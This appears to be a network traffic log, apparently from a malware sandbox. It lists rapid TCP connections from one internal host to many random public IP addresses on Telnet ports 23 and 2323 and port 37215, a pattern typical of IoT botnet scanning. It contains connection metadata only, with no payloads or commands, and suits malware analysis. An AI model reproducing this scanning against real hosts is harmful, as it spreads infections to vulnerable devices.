Nov 3, 2024 15:33:05.006966114 CET	23	38918	58.236.76.205	192.168.2.14
Nov 3, 2024 15:33:05.007050037 CET	23	47428	160.79.59.93	192.168.2.14
Nov 3, 2024 15:33:05.007090092 CET	47428	23	192.168.2.14	160.79.59.93
Nov 3, 2024 15:33:05.007553101 CET	37215	39844	197.231.247.81	192.168.2.14
Nov 3, 2024 15:33:05.007884979 CET	37215	54486	156.100.125.226	192.168.2.14
Nov 3, 2024 15:33:05.007977962 CET	54486	37215	192.168.2.14	156.100.125.226
Nov 3, 2024 15:33:05.008080959 CET	36070	23	192.168.2.14	190.252.22.235
Nov 3, 2024 15:33:05.008579016 CET	23	39366	194.229.95.42	192.168.2.14
Nov 3, 2024 15:33:05.008987904 CET	23	39900	166.57.28.207	192.168.2.14
Nov 3, 2024 15:33:05.009001970 CET	39844	37215	192.168.2.14	197.231.247.81
Nov 3, 2024 15:33:05.009006023 CET	39366	23	192.168.2.14	194.229.95.42
Nov 3, 2024 15:33:05.009008884 CET	58704	37215	192.168.2.14	156.253.95.85
Nov 3, 2024 15:33:05.009008884 CET	38918	23	192.168.2.14	58.236.76.205
Nov 3, 2024 15:33:05.009025097 CET	59522	37215	192.168.2.14	197.200.15.170
Nov 3, 2024 15:33:05.009025097 CET	39900	23	192.168.2.14	166.57.28.207
Nov 3, 2024 15:33:05.009028912 CET	51852	23	192.168.2.14	68.78.197.131
Nov 3, 2024 15:33:05.009156942 CET	37215	33770	197.153.87.52	192.168.2.14
Nov 3, 2024 15:33:05.009710073 CET	37215	41216	41.173.33.37	192.168.2.14
Nov 3, 2024 15:33:05.009752035 CET	41216	37215	192.168.2.14	41.173.33.37
Nov 3, 2024 15:33:05.010077953 CET	50878	2323	192.168.2.14	202.107.75.62
Nov 3, 2024 15:33:05.010762930 CET	23	58256	93.197.117.16	192.168.2.14
Nov 3, 2024 15:33:05.010782957 CET	35064	37215	192.168.2.14	41.244.190.25
Nov 3, 2024 15:33:05.011676073 CET	48106	37215	192.168.2.14	41.33.156.0
Nov 3, 2024 15:33:05.011825085 CET	23	39720	200.87.169.165	192.168.2.14
Nov 3, 2024 15:33:05.011862993 CET	39720	23	192.168.2.14	200.87.169.165
Nov 3, 2024 15:33:05.012124062 CET	37215	39372	156.53.179.243	192.168.2.14
Nov 3, 2024 15:33:05.012475014 CET	44316	37215	192.168.2.14	156.202.235.113
Nov 3, 2024 15:33:05.012944937 CET	37215	53232	41.71.163.79	192.168.2.14
Nov 3, 2024 15:33:05.012985945 CET	53232	37215	192.168.2.14	41.71.163.79
Nov 3, 2024 15:33:05.013001919 CET	33770	37215	192.168.2.14	197.153.87.52
Nov 3, 2024 15:33:05.013001919 CET	58256	23	192.168.2.14	93.197.117.16
Nov 3, 2024 15:33:05.013004065 CET	39372	37215	192.168.2.14	156.53.179.243
Nov 3, 2024 15:33:05.013344049 CET	39406	37215	192.168.2.14	41.168.203.29
Nov 3, 2024 15:33:05.013870001 CET	23	47428	160.79.59.93	192.168.2.14
Nov 3, 2024 15:33:05.014225006 CET	35544	37215	192.168.2.14	41.126.40.159
Nov 3, 2024 15:33:05.014403105 CET	23	36070	190.252.22.235	192.168.2.14
Nov 3, 2024 15:33:05.014414072 CET	37215	54486	156.100.125.226	192.168.2.14
Nov 3, 2024 15:33:05.014425039 CET	37215	59522	197.200.15.170	192.168.2.14
Nov 3, 2024 15:33:05.014453888 CET	36070	23	192.168.2.14	190.252.22.235
Nov 3, 2024 15:33:05.014461994 CET	23	39900	166.57.28.207	192.168.2.14
Nov 3, 2024 15:33:05.014471054 CET	59522	37215	192.168.2.14	197.200.15.170
Nov 3, 2024 15:33:05.014796972 CET	37215	41216	41.173.33.37	192.168.2.14
Nov 3, 2024 15:33:05.014938116 CET	2323	50878	202.107.75.62	192.168.2.14
Nov 3, 2024 15:33:05.014972925 CET	50878	2323	192.168.2.14	202.107.75.62
Nov 3, 2024 15:33:05.014986992 CET	36684	37215	192.168.2.14	197.146.192.174
Nov 3, 2024 15:33:05.015563965 CET	37215	35064	41.244.190.25	192.168.2.14
Nov 3, 2024 15:33:05.015605927 CET	35064	37215	192.168.2.14	41.244.190.25
Nov 3, 2024 15:33:05.015716076 CET	35024	37215	192.168.2.14	197.87.144.104
Nov 3, 2024 15:33:05.016422987 CET	37215	48106	41.33.156.0	192.168.2.14
Nov 3, 2024 15:33:05.016462088 CET	48106	37215	192.168.2.14	41.33.156.0
Nov 3, 2024 15:33:05.016501904 CET	45532	37215	192.168.2.14	41.214.36.137
Nov 3, 2024 15:33:05.016784906 CET	23	39720	200.87.169.165	192.168.2.14
Nov 3, 2024 15:33:05.017004013 CET	39900	23	192.168.2.14	166.57.28.207
Nov 3, 2024 15:33:05.017004013 CET	39720	23	192.168.2.14	200.87.169.165
Nov 3, 2024 15:33:05.017004013 CET	41216	37215	192.168.2.14	41.173.33.37
Nov 3, 2024 15:33:05.017007113 CET	47428	23	192.168.2.14	160.79.59.93
Nov 3, 2024 15:33:05.017029047 CET	54486	37215	192.168.2.14	156.100.125.226
Nov 3, 2024 15:33:05.017257929 CET	37215	44316	156.202.235.113	192.168.2.14
Nov 3, 2024 15:33:05.017287970 CET	40880	37215	192.168.2.14	41.30.67.169
Nov 3, 2024 15:33:05.017287970 CET	44316	37215	192.168.2.14	156.202.235.113
Nov 3, 2024 15:33:05.018070936 CET	33396	37215	192.168.2.14	41.176.158.71
Nov 3, 2024 15:33:05.018094063 CET	37215	39406	41.168.203.29	192.168.2.14
Nov 3, 2024 15:33:05.018135071 CET	39406	37215	192.168.2.14	41.168.203.29
Nov 3, 2024 15:33:05.018918991 CET	48192	37215	192.168.2.14	197.134.195.220
Nov 3, 2024 15:33:05.019041061 CET	37215	35544	41.126.40.159	192.168.2.14
Nov 3, 2024 15:33:05.019089937 CET	35544	37215	192.168.2.14	41.126.40.159
Nov 3, 2024 15:33:05.019371986 CET	23	36070	190.252.22.235	192.168.2.14
Nov 3, 2024 15:33:05.019423008 CET	37215	59522	197.200.15.170	192.168.2.14
Nov 3, 2024 15:33:05.019670010 CET	46884	37215	192.168.2.14	156.197.175.23
Nov 3, 2024 15:33:05.019737005 CET	37215	36684	197.146.192.174	192.168.2.14
Nov 3, 2024 15:33:05.019785881 CET	2323	50878	202.107.75.62	192.168.2.14
Nov 3, 2024 15:33:05.019789934 CET	36684	37215	192.168.2.14	197.146.192.174
Nov 3, 2024 15:33:05.020453930 CET	41716	37215	192.168.2.14	156.157.48.250
Nov 3, 2024 15:33:05.020683050 CET	37215	35024	197.87.144.104	192.168.2.14
Nov 3, 2024 15:33:05.020737886 CET	35024	37215	192.168.2.14	197.87.144.104
Nov 3, 2024 15:33:05.020807028 CET	37215	35064	41.244.190.25	192.168.2.14
Nov 3, 2024 15:33:05.021013975 CET	36070	23	192.168.2.14	190.252.22.235
Nov 3, 2024 15:33:05.021255970 CET	37674	37215	192.168.2.14	156.60.157.78
Nov 3, 2024 15:33:05.021408081 CET	37215	48106	41.33.156.0	192.168.2.14
Nov 3, 2024 15:33:05.021537066 CET	37215	45532	41.214.36.137	192.168.2.14
Nov 3, 2024 15:33:05.021619081 CET	45532	37215	192.168.2.14	41.214.36.137
Nov 3, 2024 15:33:05.022001028 CET	44012	37215	192.168.2.14	197.145.255.210
Nov 3, 2024 15:33:05.022017002 CET	37215	40880	41.30.67.169	192.168.2.14
Nov 3, 2024 15:33:05.022105932 CET	40880	37215	192.168.2.14	41.30.67.169
Nov 3, 2024 15:33:05.022218943 CET	37215	44316	156.202.235.113	192.168.2.14
Nov 3, 2024 15:33:05.022803068 CET	41174	37215	192.168.2.14	41.39.13.206
Nov 3, 2024 15:33:05.022838116 CET	37215	33396	41.176.158.71	192.168.2.14
Nov 3, 2024 15:33:05.022880077 CET	33396	37215	192.168.2.14	41.176.158.71
Nov 3, 2024 15:33:05.023046017 CET	37215	39406	41.168.203.29	192.168.2.14
Nov 3, 2024 15:33:05.023691893 CET	37215	48192	197.134.195.220	192.168.2.14
Nov 3, 2024 15:33:05.023744106 CET	48192	37215	192.168.2.14	197.134.195.220
Nov 3, 2024 15:33:05.023955107 CET	37215	35544	41.126.40.159	192.168.2.14
Nov 3, 2024 15:33:05.024612904 CET	37215	46884	156.197.175.23	192.168.2.14
Nov 3, 2024 15:33:05.024662971 CET	46884	37215	192.168.2.14	156.197.175.23
Nov 3, 2024 15:33:05.024766922 CET	37215	36684	197.146.192.174	192.168.2.14
Nov 3, 2024 15:33:05.025007010 CET	35544	37215	192.168.2.14	41.126.40.159
Nov 3, 2024 15:33:05.025007010 CET	48106	37215	192.168.2.14	41.33.156.0
Nov 3, 2024 15:33:05.025007010 CET	50878	2323	192.168.2.14	202.107.75.62
Nov 3, 2024 15:33:05.025015116 CET	39406	37215	192.168.2.14	41.168.203.29
Nov 3, 2024 15:33:05.025034904 CET	36684	37215	192.168.2.14	197.146.192.174
Nov 3, 2024 15:33:05.025034904 CET	59522	37215	192.168.2.14	197.200.15.170
Nov 3, 2024 15:33:05.025034904 CET	35064	37215	192.168.2.14	41.244.190.25
Nov 3, 2024 15:33:05.025034904 CET	44316	37215	192.168.2.14	156.202.235.113
Nov 3, 2024 15:33:05.025199890 CET	37215	41716	156.157.48.250	192.168.2.14
Nov 3, 2024 15:33:05.025264025 CET	41716	37215	192.168.2.14	156.157.48.250
Nov 3, 2024 15:33:05.025427103 CET	58548	23	192.168.2.14	96.86.209.177
Nov 3, 2024 15:33:05.025547028 CET	37215	35024	197.87.144.104	192.168.2.14
Nov 3, 2024 15:33:05.026006937 CET	37215	37674	156.60.157.78	192.168.2.14
Nov 3, 2024 15:33:05.026047945 CET	37674	37215	192.168.2.14	156.60.157.78
Nov 3, 2024 15:33:05.026314974 CET	36802	23	192.168.2.14	201.102.51.122
Nov 3, 2024 15:33:05.026453018 CET	37215	45532	41.214.36.137	192.168.2.14
Nov 3, 2024 15:33:05.026745081 CET	37215	44012	197.145.255.210	192.168.2.14
Nov 3, 2024 15:33:05.026787043 CET	44012	37215	192.168.2.14	197.145.255.210
Nov 3, 2024 15:33:05.026952028 CET	37215	40880	41.30.67.169	192.168.2.14
Nov 3, 2024 15:33:05.027470112 CET	59916	23	192.168.2.14	93.178.4.158
Nov 3, 2024 15:33:05.027551889 CET	37215	41174	41.39.13.206	192.168.2.14
Nov 3, 2024 15:33:05.027596951 CET	41174	37215	192.168.2.14	41.39.13.206
Nov 3, 2024 15:33:05.027730942 CET	37215	33396	41.176.158.71	192.168.2.14
Nov 3, 2024 15:33:05.028466940 CET	57056	23	192.168.2.14	202.71.47.74
Nov 3, 2024 15:33:05.028624058 CET	37215	48192	197.134.195.220	192.168.2.14
Nov 3, 2024 15:33:05.029007912 CET	48192	37215	192.168.2.14	197.134.195.220
Nov 3, 2024 15:33:05.029012918 CET	40880	37215	192.168.2.14	41.30.67.169
Nov 3, 2024 15:33:05.029443026 CET	41066	23	192.168.2.14	223.146.144.78
Nov 3, 2024 15:33:05.029685974 CET	37215	46884	156.197.175.23	192.168.2.14
Nov 3, 2024 15:33:05.030221939 CET	23	58548	96.86.209.177	192.168.2.14
Nov 3, 2024 15:33:05.030267954 CET	37215	41716	156.157.48.250	192.168.2.14
Nov 3, 2024 15:33:05.030277967 CET	58548	23	192.168.2.14	96.86.209.177
Nov 3, 2024 15:33:05.030342102 CET	51526	23	192.168.2.14	221.51.229.78
Nov 3, 2024 15:33:05.030843019 CET	37215	37674	156.60.157.78	192.168.2.14
Nov 3, 2024 15:33:05.031007051 CET	23	36802	201.102.51.122	192.168.2.14
Nov 3, 2024 15:33:05.031049013 CET	36802	23	192.168.2.14	201.102.51.122
Nov 3, 2024 15:33:05.031348944 CET	45920	23	192.168.2.14	203.226.190.38
Nov 3, 2024 15:33:05.031953096 CET	37215	44012	197.145.255.210	192.168.2.14
Nov 3, 2024 15:33:05.032222033 CET	23	59916	93.178.4.158	192.168.2.14
Nov 3, 2024 15:33:05.032277107 CET	59916	23	192.168.2.14	93.178.4.158
Nov 3, 2024 15:33:05.032280922 CET	47764	23	192.168.2.14	202.167.120.231
Nov 3, 2024 15:33:05.032500982 CET	37215	41174	41.39.13.206	192.168.2.14
Nov 3, 2024 15:33:05.033004045 CET	44012	37215	192.168.2.14	197.145.255.210
Nov 3, 2024 15:33:05.033004999 CET	33396	37215	192.168.2.14	41.176.158.71
Nov 3, 2024 15:33:05.033005953 CET	41716	37215	192.168.2.14	156.157.48.250
Nov 3, 2024 15:33:05.033020020 CET	46884	37215	192.168.2.14	156.197.175.23
Nov 3, 2024 15:33:05.033020020 CET	35024	37215	192.168.2.14	197.87.144.104
Nov 3, 2024 15:33:05.033020973 CET	41174	37215	192.168.2.14	41.39.13.206
Nov 3, 2024 15:33:05.033020973 CET	37674	37215	192.168.2.14	156.60.157.78
Nov 3, 2024 15:33:05.033024073 CET	45532	37215	192.168.2.14	41.214.36.137
Nov 3, 2024 15:33:05.033262968 CET	23	57056	202.71.47.74	192.168.2.14
Nov 3, 2024 15:33:05.033298016 CET	52338	2323	192.168.2.14	160.225.3.89
Nov 3, 2024 15:33:05.033318043 CET	57056	23	192.168.2.14	202.71.47.74
Nov 3, 2024 15:33:05.034276009 CET	23	41066	223.146.144.78	192.168.2.14
Nov 3, 2024 15:33:05.034329891 CET	41066	23	192.168.2.14	223.146.144.78
Nov 3, 2024 15:33:05.034343958 CET	51908	23	192.168.2.14	115.137.137.86
Nov 3, 2024 15:33:05.035201073 CET	56418	23	192.168.2.14	71.102.250.214
Nov 3, 2024 15:33:05.035396099 CET	23	58548	96.86.209.177	192.168.2.14
Nov 3, 2024 15:33:05.035547972 CET	23	51526	221.51.229.78	192.168.2.14
Nov 3, 2024 15:33:05.035581112 CET	51526	23	192.168.2.14	221.51.229.78
Nov 3, 2024 15:33:05.035965919 CET	23	36802	201.102.51.122	192.168.2.14
Nov 3, 2024 15:33:05.036010027 CET	43342	23	192.168.2.14	94.178.187.157
Nov 3, 2024 15:33:05.036124945 CET	23	45920	203.226.190.38	192.168.2.14
Nov 3, 2024 15:33:05.036166906 CET	45920	23	192.168.2.14	203.226.190.38
Nov 3, 2024 15:33:05.036928892 CET	47750	23	192.168.2.14	110.36.39.59
Nov 3, 2024 15:33:05.036998034 CET	36802	23	192.168.2.14	201.102.51.122
Nov 3, 2024 15:33:05.037060976 CET	23	47764	202.167.120.231	192.168.2.14
Nov 3, 2024 15:33:05.037103891 CET	47764	23	192.168.2.14	202.167.120.231
Nov 3, 2024 15:33:05.037266970 CET	23	59916	93.178.4.158	192.168.2.14
Nov 3, 2024 15:33:05.037820101 CET	40264	23	192.168.2.14	172.59.203.130
Nov 3, 2024 15:33:05.038079023 CET	2323	52338	160.225.3.89	192.168.2.14
Nov 3, 2024 15:33:05.038120031 CET	52338	2323	192.168.2.14	160.225.3.89
Nov 3, 2024 15:33:05.038320065 CET	23	57056	202.71.47.74	192.168.2.14
Nov 3, 2024 15:33:05.038672924 CET	56656	23	192.168.2.14	213.231.65.178
Nov 3, 2024 15:33:05.039113045 CET	23	51908	115.137.137.86	192.168.2.14
Nov 3, 2024 15:33:05.039170980 CET	51908	23	192.168.2.14	115.137.137.86
Nov 3, 2024 15:33:05.039208889 CET	23	41066	223.146.144.78	192.168.2.14
Nov 3, 2024 15:33:05.039604902 CET	60518	23	192.168.2.14	168.61.185.185
Nov 3, 2024 15:33:05.039926052 CET	23	56418	71.102.250.214	192.168.2.14
Nov 3, 2024 15:33:05.039968014 CET	56418	23	192.168.2.14	71.102.250.214
Nov 3, 2024 15:33:05.040414095 CET	23	51526	221.51.229.78	192.168.2.14
Nov 3, 2024 15:33:05.040541887 CET	58668	23	192.168.2.14	43.3.41.32
Nov 3, 2024 15:33:05.040776968 CET	23	43342	94.178.187.157	192.168.2.14
Nov 3, 2024 15:33:05.040817976 CET	43342	23	192.168.2.14	94.178.187.157
Nov 3, 2024 15:33:05.040997982 CET	51526	23	192.168.2.14	221.51.229.78
Nov 3, 2024 15:33:05.041006088 CET	59916	23	192.168.2.14	93.178.4.158
Nov 3, 2024 15:33:05.041006088 CET	41066	23	192.168.2.14	223.146.144.78
Nov 3, 2024 15:33:05.041006088 CET	57056	23	192.168.2.14	202.71.47.74
Nov 3, 2024 15:33:05.041026115 CET	23	45920	203.226.190.38	192.168.2.14
Nov 3, 2024 15:33:05.041027069 CET	58548	23	192.168.2.14	96.86.209.177
Nov 3, 2024 15:33:05.041727066 CET	38830	37215	192.168.2.14	41.96.22.119
Nov 3, 2024 15:33:05.041740894 CET	23	47750	110.36.39.59	192.168.2.14
Nov 3, 2024 15:33:05.041781902 CET	47750	23	192.168.2.14	110.36.39.59
Nov 3, 2024 15:33:05.041861057 CET	58102	23	192.168.2.14	99.114.187.252
Nov 3, 2024 15:33:05.041935921 CET	23	47764	202.167.120.231	192.168.2.14
Nov 3, 2024 15:33:05.042601109 CET	23	40264	172.59.203.130	192.168.2.14
Nov 3, 2024 15:33:05.042644024 CET	40264	23	192.168.2.14	172.59.203.130
Nov 3, 2024 15:33:05.042982101 CET	2323	52338	160.225.3.89	192.168.2.14
Nov 3, 2024 15:33:05.043411970 CET	23	56656	213.231.65.178	192.168.2.14
Nov 3, 2024 15:33:05.043483973 CET	56656	23	192.168.2.14	213.231.65.178
Nov 3, 2024 15:33:05.043555975 CET	44164	37215	192.168.2.14	41.22.53.118
Nov 3, 2024 15:33:05.043678045 CET	49258	2323	192.168.2.14	154.119.121.135
Nov 3, 2024 15:33:05.043972969 CET	23	51908	115.137.137.86	192.168.2.14
Nov 3, 2024 15:33:05.044343948 CET	23	60518	168.61.185.185	192.168.2.14
Nov 3, 2024 15:33:05.044389009 CET	60518	23	192.168.2.14	168.61.185.185
Nov 3, 2024 15:33:05.044994116 CET	52338	2323	192.168.2.14	160.225.3.89
Nov 3, 2024 15:33:05.044994116 CET	47764	23	192.168.2.14	202.167.120.231
Nov 3, 2024 15:33:05.045001984 CET	51908	23	192.168.2.14	115.137.137.86
Nov 3, 2024 15:33:05.045001984 CET	45920	23	192.168.2.14	203.226.190.38
Nov 3, 2024 15:33:05.045025110 CET	23	56418	71.102.250.214	192.168.2.14
Nov 3, 2024 15:33:05.045325041 CET	23	58668	43.3.41.32	192.168.2.14
Nov 3, 2024 15:33:05.045367002 CET	58668	23	192.168.2.14	43.3.41.32
Nov 3, 2024 15:33:05.045383930 CET	52322	37215	192.168.2.14	197.225.45.137
Nov 3, 2024 15:33:05.045510054 CET	33804	23	192.168.2.14	208.192.45.44
Nov 3, 2024 15:33:05.045671940 CET	23	43342	94.178.187.157	192.168.2.14
Nov 3, 2024 15:33:05.046494961 CET	37215	38830	41.96.22.119	192.168.2.14
Nov 3, 2024 15:33:05.046538115 CET	38830	37215	192.168.2.14	41.96.22.119
Nov 3, 2024 15:33:05.046660900 CET	23	47750	110.36.39.59	192.168.2.14
Nov 3, 2024 15:33:05.046713114 CET	23	58102	99.114.187.252	192.168.2.14
Nov 3, 2024 15:33:05.046753883 CET	58102	23	192.168.2.14	99.114.187.252
Nov 3, 2024 15:33:05.047272921 CET	43156	37215	192.168.2.14	156.168.50.185
Nov 3, 2024 15:33:05.047578096 CET	45364	23	192.168.2.14	101.102.33.216
Nov 3, 2024 15:33:05.048425913 CET	23	56656	213.231.65.178	192.168.2.14
Nov 3, 2024 15:33:05.048511982 CET	37215	44164	41.22.53.118	192.168.2.14
Nov 3, 2024 15:33:05.048526049 CET	2323	49258	154.119.121.135	192.168.2.14
Nov 3, 2024 15:33:05.048557997 CET	44164	37215	192.168.2.14	41.22.53.118
Nov 3, 2024 15:33:05.048561096 CET	49258	2323	192.168.2.14	154.119.121.135
Nov 3, 2024 15:33:05.049005032 CET	47750	23	192.168.2.14	110.36.39.59
Nov 3, 2024 15:33:05.049005032 CET	56418	23	192.168.2.14	71.102.250.214
Nov 3, 2024 15:33:05.049005985 CET	43342	23	192.168.2.14	94.178.187.157
Nov 3, 2024 15:33:05.049017906 CET	56656	23	192.168.2.14	213.231.65.178
Nov 3, 2024 15:33:05.049119949 CET	41946	37215	192.168.2.14	197.119.54.124
Nov 3, 2024 15:33:05.049194098 CET	23	60518	168.61.185.185	192.168.2.14
Nov 3, 2024 15:33:05.049783945 CET	44486	23	192.168.2.14	221.95.166.59
Nov 3, 2024 15:33:05.050098896 CET	37215	52322	197.225.45.137	192.168.2.14
Nov 3, 2024 15:33:05.050139904 CET	52322	37215	192.168.2.14	197.225.45.137
Nov 3, 2024 15:33:05.050179958 CET	23	58668	43.3.41.32	192.168.2.14
Nov 3, 2024 15:33:05.050281048 CET	23	33804	208.192.45.44	192.168.2.14
Nov 3, 2024 15:33:05.050319910 CET	33804	23	192.168.2.14	208.192.45.44
Nov 3, 2024 15:33:05.050945044 CET	37374	37215	192.168.2.14	156.172.224.116
Nov 3, 2024 15:33:05.051443100 CET	37215	38830	41.96.22.119	192.168.2.14
Nov 3, 2024 15:33:05.051564932 CET	23	58102	99.114.187.252	192.168.2.14
Nov 3, 2024 15:33:05.051630974 CET	35990	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:05.052433968 CET	37215	43156	156.168.50.185	192.168.2.14
Nov 3, 2024 15:33:05.052480936 CET	43156	37215	192.168.2.14	156.168.50.185
Nov 3, 2024 15:33:05.052582979 CET	48082	37215	192.168.2.14	41.124.247.1
Nov 3, 2024 15:33:05.052690029 CET	23	45364	101.102.33.216	192.168.2.14
Nov 3, 2024 15:33:05.052731037 CET	45364	23	192.168.2.14	101.102.33.216
Nov 3, 2024 15:33:05.053002119 CET	38830	37215	192.168.2.14	41.96.22.119
Nov 3, 2024 15:33:05.053002119 CET	58668	23	192.168.2.14	43.3.41.32
Nov 3, 2024 15:33:05.053004026 CET	60518	23	192.168.2.14	168.61.185.185
Nov 3, 2024 15:33:05.053004026 CET	58102	23	192.168.2.14	99.114.187.252
Nov 3, 2024 15:33:05.053303003 CET	52678	23	192.168.2.14	161.10.146.147
Nov 3, 2024 15:33:05.054078102 CET	37215	44164	41.22.53.118	192.168.2.14
Nov 3, 2024 15:33:05.054197073 CET	2323	49258	154.119.121.135	192.168.2.14
Nov 3, 2024 15:33:05.054240942 CET	37215	41946	197.119.54.124	192.168.2.14
Nov 3, 2024 15:33:05.054290056 CET	50024	37215	192.168.2.14	156.155.187.128
Nov 3, 2024 15:33:05.054296970 CET	41946	37215	192.168.2.14	197.119.54.124
Nov 3, 2024 15:33:05.055042982 CET	37215	52322	197.225.45.137	192.168.2.14
Nov 3, 2024 15:33:05.055237055 CET	23	33804	208.192.45.44	192.168.2.14
Nov 3, 2024 15:33:05.055248022 CET	33980	23	192.168.2.14	126.240.3.98
Nov 3, 2024 15:33:05.055887938 CET	58804	37215	192.168.2.14	41.141.233.240
Nov 3, 2024 15:33:05.056626081 CET	23	35990	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:05.056667089 CET	35990	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:05.056967974 CET	39788	23	192.168.2.14	58.62.127.193
Nov 3, 2024 15:33:05.056997061 CET	52322	37215	192.168.2.14	197.225.45.137
Nov 3, 2024 15:33:05.056997061 CET	49258	2323	192.168.2.14	154.119.121.135
Nov 3, 2024 15:33:05.056997061 CET	44164	37215	192.168.2.14	41.22.53.118
Nov 3, 2024 15:33:05.056997061 CET	33804	23	192.168.2.14	208.192.45.44
Nov 3, 2024 15:33:05.057209015 CET	38874	37215	192.168.2.14	156.60.212.11
Nov 3, 2024 15:33:05.057470083 CET	37215	43156	156.168.50.185	192.168.2.14
Nov 3, 2024 15:33:05.057758093 CET	23	45364	101.102.33.216	192.168.2.14
Nov 3, 2024 15:33:05.058912039 CET	57406	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:05.059133053 CET	37215	41946	197.119.54.124	192.168.2.14
Nov 3, 2024 15:33:05.059154987 CET	49052	37215	192.168.2.14	156.92.201.251
Nov 3, 2024 15:33:05.060745955 CET	48066	37215	192.168.2.14	41.166.104.120
Nov 3, 2024 15:33:05.060848951 CET	54222	23	192.168.2.14	208.25.183.113
Nov 3, 2024 15:33:05.060993910 CET	45364	23	192.168.2.14	101.102.33.216
Nov 3, 2024 15:33:05.061002016 CET	43156	37215	192.168.2.14	156.168.50.185
Nov 3, 2024 15:33:05.061002970 CET	41946	37215	192.168.2.14	197.119.54.124
Nov 3, 2024 15:33:05.061616898 CET	23	35990	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:05.062887907 CET	36686	37215	192.168.2.14	156.241.174.154
Nov 3, 2024 15:33:05.063023090 CET	36426	2323	192.168.2.14	158.79.131.173
Nov 3, 2024 15:33:05.064780951 CET	44620	23	192.168.2.14	216.202.115.113
Nov 3, 2024 15:33:05.064876080 CET	60892	37215	192.168.2.14	156.15.87.232
Nov 3, 2024 15:33:05.064996958 CET	35990	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:05.065465927 CET	37215	48066	41.166.104.120	192.168.2.14
Nov 3, 2024 15:33:05.065521955 CET	48066	37215	192.168.2.14	41.166.104.120
Nov 3, 2024 15:33:05.066570044 CET	36812	37215	192.168.2.14	197.243.145.35
Nov 3, 2024 15:33:05.066690922 CET	60956	23	192.168.2.14	87.1.26.136
Nov 3, 2024 15:33:05.068469048 CET	37596	37215	192.168.2.14	41.84.4.103
Nov 3, 2024 15:33:05.068725109 CET	57220	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:05.070255041 CET	42520	23	192.168.2.14	13.101.180.166
Nov 3, 2024 15:33:05.070360899 CET	41472	37215	192.168.2.14	41.36.128.154
Nov 3, 2024 15:33:05.070374966 CET	37215	48066	41.166.104.120	192.168.2.14
Nov 3, 2024 15:33:05.072298050 CET	59270	23	192.168.2.14	31.125.136.204
Nov 3, 2024 15:33:05.072695971 CET	34488	37215	192.168.2.14	156.108.202.74
Nov 3, 2024 15:33:05.073000908 CET	48066	37215	192.168.2.14	41.166.104.120
Nov 3, 2024 15:33:05.074193001 CET	55194	37215	192.168.2.14	156.58.247.152
Nov 3, 2024 15:33:05.074296951 CET	48196	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:05.076064110 CET	57788	23	192.168.2.14	94.79.63.27
Nov 3, 2024 15:33:05.076167107 CET	38862	37215	192.168.2.14	41.232.160.123
Nov 3, 2024 15:33:05.077034950 CET	23	59270	31.125.136.204	192.168.2.14
Nov 3, 2024 15:33:05.077076912 CET	59270	23	192.168.2.14	31.125.136.204
Nov 3, 2024 15:33:05.077733040 CET	46586	23	192.168.2.14	122.80.73.254
Nov 3, 2024 15:33:05.078061104 CET	35530	37215	192.168.2.14	41.196.236.180
Nov 3, 2024 15:33:05.079516888 CET	60254	23	192.168.2.14	19.214.238.80
Nov 3, 2024 15:33:05.079768896 CET	34170	37215	192.168.2.14	156.214.246.139
Nov 3, 2024 15:33:05.081502914 CET	44788	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:05.081620932 CET	45970	37215	192.168.2.14	156.150.29.143
Nov 3, 2024 15:33:05.082076073 CET	23	59270	31.125.136.204	192.168.2.14
Nov 3, 2024 15:33:05.083412886 CET	52016	37215	192.168.2.14	41.37.66.5
Nov 3, 2024 15:33:05.083512068 CET	36386	23	192.168.2.14	174.221.250.49
Nov 3, 2024 15:33:05.084326982 CET	23	60254	19.214.238.80	192.168.2.14
Nov 3, 2024 15:33:05.084373951 CET	60254	23	192.168.2.14	19.214.238.80
Nov 3, 2024 15:33:05.084997892 CET	59270	23	192.168.2.14	31.125.136.204
Nov 3, 2024 15:33:05.085355997 CET	37256	37215	192.168.2.14	41.104.63.38
Nov 3, 2024 15:33:05.085602999 CET	54836	23	192.168.2.14	144.82.75.132
Nov 3, 2024 15:33:05.086909056 CET	55934	37215	192.168.2.14	156.75.91.71
Nov 3, 2024 15:33:05.087176085 CET	52638	23	192.168.2.14	9.207.19.141
Nov 3, 2024 15:33:05.088815928 CET	45690	37215	192.168.2.14	41.247.161.60
Nov 3, 2024 15:33:05.089039087 CET	46308	23	192.168.2.14	61.249.130.155
Nov 3, 2024 15:33:05.089485884 CET	23	60254	19.214.238.80	192.168.2.14
Nov 3, 2024 15:33:05.090500116 CET	40270	37215	192.168.2.14	197.103.118.254
Nov 3, 2024 15:33:05.090847969 CET	58192	23	192.168.2.14	121.12.149.163
Nov 3, 2024 15:33:05.092674971 CET	42858	37215	192.168.2.14	156.45.220.1
Nov 3, 2024 15:33:05.093013048 CET	60254	23	192.168.2.14	19.214.238.80
Nov 3, 2024 15:33:05.093043089 CET	59082	23	192.168.2.14	39.199.141.240
Nov 3, 2024 15:33:05.094619989 CET	55586	37215	192.168.2.14	156.33.212.75
Nov 3, 2024 15:33:05.094924927 CET	34996	23	192.168.2.14	133.16.228.85
Nov 3, 2024 15:33:05.096559048 CET	37328	37215	192.168.2.14	41.77.71.178
Nov 3, 2024 15:33:05.096772909 CET	58286	23	192.168.2.14	149.152.23.218
Nov 3, 2024 15:33:05.097469091 CET	37215	42858	156.45.220.1	192.168.2.14
Nov 3, 2024 15:33:05.097518921 CET	42858	37215	192.168.2.14	156.45.220.1
Nov 3, 2024 15:33:05.098529100 CET	33438	23	192.168.2.14	120.177.102.56
Nov 3, 2024 15:33:05.098643064 CET	44878	37215	192.168.2.14	197.243.86.185
Nov 3, 2024 15:33:05.100404024 CET	50466	37215	192.168.2.14	156.207.157.252
Nov 3, 2024 15:33:05.100527048 CET	58602	2323	192.168.2.14	27.214.85.5
Nov 3, 2024 15:33:05.102343082 CET	52968	23	192.168.2.14	182.72.169.201
Nov 3, 2024 15:33:05.102490902 CET	52068	37215	192.168.2.14	156.115.237.200
Nov 3, 2024 15:33:05.102629900 CET	37215	42858	156.45.220.1	192.168.2.14
